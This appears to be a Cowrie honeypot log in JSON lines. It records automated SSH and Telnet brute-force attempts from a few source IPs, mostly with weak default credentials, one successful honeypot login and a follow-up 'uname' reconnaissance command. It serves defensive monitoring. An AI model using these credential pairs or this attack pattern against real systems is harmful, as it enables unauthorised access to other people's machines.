{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:35.722476Z","src_ip":"45.153.34.112","session":"a0f7f0d403bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.16738486289978,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:36.059633Z","src_ip":"192.119.13.58","session":"72ef1daa48a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:37.031970Z","src_ip":"45.153.34.112","session":"a0f7f0d403bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95032000541687,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:37.310285Z","src_ip":"192.119.13.58","session":"cd5cb6e2e517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd2a4e32d6c","protocol":"ssh","message":"New connection: 45.153.34.112:33000 (10.17.0.5:22) [session: cfd2a4e32d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:39.135200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:39.140231Z","src_ip":"45.153.34.112","session":"cfd2a4e32d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:39.222689Z","src_ip":"45.153.34.112","session":"cfd2a4e32d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:39.470608Z","src_ip":"45.153.34.112","session":"cfd2a4e32d6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:40.562791Z","src_ip":"45.153.34.112","session":"cfd2a4e32d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34752,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeab9e1448de","protocol":"ssh","message":"New connection: 45.153.34.112:34752 (10.17.0.5:22) [session: aeab9e1448de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:42.811111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:42.815146Z","src_ip":"45.153.34.112","session":"aeab9e1448de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:42.897485Z","src_ip":"45.153.34.112","session":"aeab9e1448de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:43.149445Z","src_ip":"45.153.34.112","session":"aeab9e1448de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:44.234165Z","src_ip":"45.153.34.112","session":"aeab9e1448de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48032,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1268b77a54","protocol":"telnet","message":"New connection: 192.119.13.58:48032 (10.17.0.5:23) [session: 9e1268b77a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:45.325011Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34762,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b373ea975d9","protocol":"ssh","message":"New connection: 45.153.34.112:34762 (10.17.0.5:22) [session: 5b373ea975d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:46.462756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:46.467283Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:46.549108Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:46.798943Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.39517402648926,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:46.814239Z","src_ip":"192.119.13.58","session":"cf39782acc9d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:47.011467Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:47.015112Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:47.101069Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:47.106454Z","src_ip":"45.153.34.112","session":"5b373ea975d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.71136236190796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:47.596942Z","src_ip":"192.119.13.58","session":"ea75d7a912a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.37757229804993,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:47.668559Z","src_ip":"192.119.13.58","session":"99d76062d469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46352,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3aaa3984ab0","protocol":"ssh","message":"New connection: 45.153.34.112:46352 (10.17.0.5:22) [session: d3aaa3984ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:49.869302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:49.874546Z","src_ip":"45.153.34.112","session":"d3aaa3984ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:49.958573Z","src_ip":"45.153.34.112","session":"d3aaa3984ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:50.205450Z","src_ip":"45.153.34.112","session":"d3aaa3984ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:51.289567Z","src_ip":"45.153.34.112","session":"d3aaa3984ab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46362,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fac7ef2dcf2","protocol":"ssh","message":"New connection: 45.153.34.112:46362 (10.17.0.5:22) [session: 2fac7ef2dcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:53.443102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:53.450433Z","src_ip":"45.153.34.112","session":"2fac7ef2dcf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:53.533323Z","src_ip":"45.153.34.112","session":"2fac7ef2dcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:53.781273Z","src_ip":"45.153.34.112","session":"2fac7ef2dcf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:54.870006Z","src_ip":"45.153.34.112","session":"2fac7ef2dcf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60934,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7756873b05e","protocol":"telnet","message":"New connection: 192.119.13.58:60934 (10.17.0.5:23) [session: d7756873b05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:55.159470Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46370,"dst_ip":"10.17.0.5","dst_port":22,"session":"3433983d6530","protocol":"ssh","message":"New connection: 45.153.34.112:46370 (10.17.0.5:22) [session: 3433983d6530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:56.899748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:56.903967Z","src_ip":"45.153.34.112","session":"3433983d6530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:56.985388Z","src_ip":"45.153.34.112","session":"3433983d6530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:57.233083Z","src_ip":"45.153.34.112","session":"3433983d6530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.51071524620056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:57.401755Z","src_ip":"192.119.13.58","session":"b04bfe95b366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:58.379405Z","src_ip":"45.153.34.112","session":"3433983d6530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.11782431602478,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:58.739646Z","src_ip":"192.119.13.58","session":"4a34c92906f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":16662,"dst_ip":"10.17.0.5","dst_port":22,"session":"9669181afe4e","protocol":"ssh","message":"New connection: 158.178.141.16:16662 (10.17.0.5:22) [session: 9669181afe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:59.247183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:59.251999Z","src_ip":"158.178.141.16","session":"9669181afe4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:59.462956Z","src_ip":"158.178.141.16","session":"9669181afe4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48940,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07648b07f9f","protocol":"ssh","message":"New connection: 45.153.34.112:48940 (10.17.0.5:22) [session: f07648b07f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:00.336599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:00.344514Z","src_ip":"45.153.34.112","session":"f07648b07f9f","protocol":"ssh"}
